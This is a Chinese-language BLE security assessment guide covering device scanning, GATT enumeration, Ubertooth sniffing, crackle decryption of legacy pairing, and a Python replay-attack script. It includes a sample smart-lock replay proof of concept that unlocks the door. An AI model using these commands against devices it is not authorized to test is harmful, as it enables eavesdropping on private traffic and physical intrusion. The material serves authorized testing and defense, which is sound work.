detecting-bluetooth-low-energy-attacks

检测低功耗蓝牙攻击

免责声明

本技能仅用于经授权的安全测试、渗透测试项目、CTF 竞赛和教育目的。未经授权嗅探、拦截或操纵蓝牙通信可能违反联邦窃听法和当地法规。在进行任何无线安全评估之前，务必获得明确的书面许可。

何时使用

在以下情况下使用本技能：

• 对 IoT 设备、医疗设备或智能锁进行经授权的 BLE 安全评估
• 监控无线环境，以发现基于 BLE 的重放攻击、欺骗或未经授权的枚举
• 分析 BLE 数据包捕获，以检测中间人攻击或配对利用
• 枚举 GATT 服务和特征，以识别 BLE 外设上不安全的读/写权限
• 评估 BLE 加密强度，并测试可破解的配对交换
• 为无线安全监控构建 BLE 入侵检测能力

请勿在未获得明确授权的情况下拦截 BLE 通信。请勿在禁止无线监控的环境中部署 BLE 扫描工具。

前提条件

• 用于被动 BLE 嗅探的 Ubertooth One 硬件，或搭载 nRF Sniffer 固件的 Nordic nRF52840 USB Dongle
• Python 3.10+ 及 pip
• bleak 库：pip install bleak（跨平台 BLE GATT 客户端）
• 用于数据包分析的 Wireshark 及 BLE 解析器插件
• 用于 BLE 加密分析的 crackle 工具：从 github.com/mikeryan/crackle 源码构建
• ubertooth-btle 命令行工具：apt install ubertooth（Linux）或从源码构建
• 主机系统上的 Bluetooth 4.0+ 适配器，用于基于 bleak 的扫描
• 建议使用 Linux，以获得完整的 Ubertooth/nRF 嗅探器支持

工作流

步骤 1：BLE 环境发现与设备扫描

扫描环境以识别 BLE 设备及其广播数据：

# Scan for BLE devices using bleak (cross-platform)
python -c "
import asyncio
from bleak import BleakScanner

async def scan():
    devices = await BleakScanner.discover(timeout=10.0)
    for d in devices:
        print(f'{d.address} | RSSI: {d.rssi} | Name: {d.name or \"Unknown\"}')
        for uuid in d.metadata.get('uuids', []):
            print(f'  Service: {uuid}')

asyncio.run(scan())
"

# Passive BLE sniffing with Ubertooth One (promiscuous mode)
ubertooth-btle -p -r capture.pcapng

# Follow a specific BLE connection
ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -r connection.pcapng

# Use nRF Sniffer with Wireshark (via extcap interface)
wireshark -i nRF_Sniffer -k

步骤 2：GATT 服务与特征枚举

连接目标 BLE 外设并枚举其 GATT 配置文件：

# Enumerate all services, characteristics, and descriptors
python -c "
import asyncio
from bleak import BleakClient

async def enum_gatt(address):
    async with BleakClient(address) as client:
        print(f'Connected: {client.is_connected}')
        for service in client.services:
            print(f'Service: {service.uuid} - {service.description}')
            for char in service.characteristics:
                props = ','.join(char.properties)
                print(f'  Char: {char.uuid} | Props: {props}')
                for desc in char.descriptors:
                    val = await client.read_gatt_descriptor(desc.handle)
                    print(f'    Desc: {desc.uuid} = {val}')

asyncio.run(enum_gatt('AA:BB:CC:DD:EE:FF'))
"

GATT 枚举过程中与安全相关的发现：

• 具有 write-without-response 或 write 且无需认证的特征
• 可读特征暴露设备配置、凭据或固件版本
• 通知特征上缺少客户端特征配置描述符（CCCD）保护

步骤 3：BLE 数据包捕获与分析

捕获 BLE 流量以进行离线分析：

# Capture with Ubertooth in PcapNG format (recommended)
ubertooth-btle -f -r capture.pcapng

# Capture in PCAP/PPI format for crackle compatibility
ubertooth-btle -f -c capture_ppi.pcap

# Analyze capture in Wireshark
wireshark capture.pcapng
# Apply display filter: btle
# Filter connection requests: btle.advertising_header.pdu_type == 0x05
# Filter data packets: btle.data_header

# Extract pairing information with tshark
tshark -r capture.pcapng -Y "btle.control_opcode == 0x01" -T fields \
  -e btle.master_bd_addr -e btle.slave_bd_addr

步骤 4：使用 Crackle 进行 BLE 加密分析

分析捕获的配对交换以测试加密强度：

# Crack BLE Legacy Pairing (Just Works / passkey)
crackle -i capture_ppi.pcap -o decrypted.pcap

# Crack with known Temporary Key (TK)
crackle -i capture_ppi.pcap -o decrypted.pcap -l 000000

# Analyze decrypted traffic
wireshark decrypted.pcap

采用 Just Works 模式的 BLE 传统配对使用全零 TK，因此极易破解。Passkey 输入 使用 6 位 PIN（000000-999999），可在不到一秒内被暴力破解。只有 BLE 安全连接 （使用 ECDH 的 LE Secure Connections）才能提供足够的保护，抵御被动窃听。

步骤 5：重放攻击检测与测试

监控并测试 BLE 重放攻击易感性：

# Capture characteristic write operations
# Record the raw bytes written to a target characteristic
# Then replay the exact same bytes to test if the device accepts stale commands

python -c "
import asyncio
from bleak import BleakClient

TARGET = 'AA:BB:CC:DD:EE:FF'
CHAR_UUID = '0000fff1-0000-1000-8000-00805f9b34fb'

async def replay_test():
    async with BleakClient(TARGET) as client:
        # Step 1: Read current state
        val = await client.read_gatt_char(CHAR_UUID)
        print(f'Current value: {val.hex()}')

        # Step 2: Write a command (captured from previous session)
        captured_command = bytes.fromhex('0102030405')
        await client.write_gatt_char(CHAR_UUID, captured_command)
        print('Replayed captured command')

        # Step 3: Verify if command was accepted
        new_val = await client.read_gatt_char(CHAR_UUID)
        print(f'New value: {new_val.hex()}')
        if new_val != val:
            print('VULNERABLE: Device accepted replayed command')

asyncio.run(replay_test())
"

重放漏洞的指标：

• 设备接受先前捕获的写入命令，且没有新鲜度验证
• 协议中没有序列号、时间戳或质询-响应机制
• 设备状态因重放命令而发生变化

步骤 6：中间人检测

通过监控异常行为来检测 BLE 中间人攻击：

# Monitor for BLE address spoofing (device impersonation)
# Compare advertising data fingerprints over time

# Monitor for unexpected connection parameter changes
tshark -r capture.pcapng -Y "btle.control_opcode == 0x00" -T fields \
  -e btle.control.interval.min -e btle.control.interval.max

# Detect GATTacker/BTLEjuice MITM patterns:
# - Cloned advertising data with different BD_ADDR
# - Rapid connect/disconnect cycles on the same channel
# - Duplicate service UUIDs from different addresses

# Monitor for suspicious pairing requests
tshark -r capture.pcapng -Y "btl2cap.cid == 0x0006" -T fields \
  -e btsmp.opcode -e btsmp.io_capability -e btsmp.auth_req

步骤 7：持续 BLE 安全监控

部署持续的 BLE 监控以进行威胁检测：

# Run the agent in monitoring mode
python agent.py --mode monitor --duration 3600 --output ble_alerts.json

# Combine with Ubertooth for passive monitoring
ubertooth-btle -p -r - | python agent.py --mode analyze --pcap-stdin

# Alert on specific threat indicators
python agent.py --mode monitor --alert-on replay,spoofing,weak-pairing

核心概念

术语	定义
BLE（低功耗蓝牙）	面向 IoT 设备优化的低功耗无线协议（蓝牙 4.0+），工作在 2.4 GHz，共有 40 个信道（3 个广播信道，37 个数据信道）
GATT（通用属性配置文件）	BLE 数据模型，将设备能力组织为服务、特征和描述符；是读取/写入 BLE 设备数据的主要接口
Ubertooth One	开源 2.4 GHz 无线开发平台，能够在所有 BLE 信道上被动嗅探 BLE 和蓝牙经典
nRF Sniffer	Nordic Semiconductor 为 nRF52840 USB 加密狗提供的固件，可通过 extcap 与 Wireshark 集成，实现 BLE 数据包捕获
重放攻击	将先前捕获的 BLE 命令重新发送到设备，在不知道加密密钥的情况下触发未授权操作的攻击
Just Works 配对	使用 TK=0 且无用户确认的 BLE 传统配对方法，对被动窃听和 MITM 攻击提供零保护
LE 安全连接	使用 ECDH 密钥交换（P-256 曲线）的 BLE 4.2+ 配对模式，可防止被动窃听；推荐优先于传统配对
Crackle	利用 BLE 传统配对弱点的开源工具，可恢复长期密钥（LTK）并解密捕获的 BLE 流量
GATTacker	BLE MITM 框架，可克隆外设的 GATT 配置文件和广播数据，然后在真实设备与受害中心设备之间中继流量

工具与系统

• Ubertooth One + ubertooth-btle：用于以 pcapng/pcap 格式被动捕获 BLE 数据包的硬件嗅探器和命令行工具
• nRF52840 USB Dongle + nRF Sniffer：Nordic Semiconductor 的 BLE 嗅探器，原生集成 Wireshark extcap
• bleak：跨平台 Python asyncio BLE GATT 客户端库，用于设备扫描、连接以及特征读取/写入
• crackle：BLE 传统配对加密破解器，可从捕获的配对交换中恢复 LTK
• Wireshark：网络协议分析器，带 BLE/BTLE 解析器，可对捕获流量进行数据包级检查
• GATTacker / BTLEjuice：BLE 中间人框架，用于拦截和修改中心设备与外设之间的 BLE 流量
• tshark：命令行版 Wireshark，用于脚本化提取 BLE 数据包和字段分析

常见陷阱

• Ubertooth 信道跳频限制：Ubertooth 一次只能跟随一个连接。如果有多个 BLE 连接处于活动状态，必须使用 -t 指定特定设备地址以跟随其数据信道。
• BLE 5.0 扩展广播：使用 BLE 5.0 扩展广播并通过次要信道通信的设备，可能无法被旧版 Ubertooth 固件捕获。请更新至最新固件。
• bleak 平台差异：BLE 扫描行为因操作系统后端而异。在 Linux 上，扫描需要 root 或相应权限。在 macOS 上，设备地址是随机化的 UUID。
• crackle 需要传统配对：crackle 仅适用于 BLE 传统配对（蓝牙 4.0/4.1）。LE 安全连接（4.2+）使用 ECDH，无法用此方法破解。
• BLE 地址随机化：许多现代 BLE 设备使用会定期轮换的随机可解析私有地址（RPA），使设备跟踪和连接跟随更加困难。
• 捕获格式很重要：若要兼容 crackle，请使用带 PPI 头的 PCAP（-c 标志）。建议使用 PcapNG（-r 标志）进行 Wireshark 分析，但 crackle 不支持该格式。

输出格式

## Finding: BLE Smart Lock Accepts Replayed Unlock Commands

**ID**: BLE-001
**Severity**: Critical (CVSS 9.3)
**Device**: SmartLock-Pro (AA:BB:CC:DD:EE:FF)
**Attack Type**: Replay Attack

**Description**:
The BLE smart lock accepts previously captured GATT write commands
on characteristic 0000fff1-0000-1000-8000-00805f9b34fb without
any freshness validation. An attacker who captures a single unlock
command can replay it indefinitely to unlock the device.

**Proof of Concept**:
1. Capture unlock command: ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -r capture.pcap
2. Extract write payload from characteristic fff1: 01 42 A3 7F 00
3. Replay via bleak: await client.write_gatt_char(CHAR_UUID, bytes.fromhex('0142a37f00'))
4. Lock disengages without re-authentication

**Impact**:
Any attacker within BLE range (~100m with directional antenna) who
captures a single unlock event can replay it to gain physical access
to the protected area indefinitely.

**Remediation**:
Implement challenge-response authentication with per-session nonces.
Each command should include a server-generated challenge that expires
after use. Use LE Secure Connections for pairing to prevent passive
capture of the pairing exchange.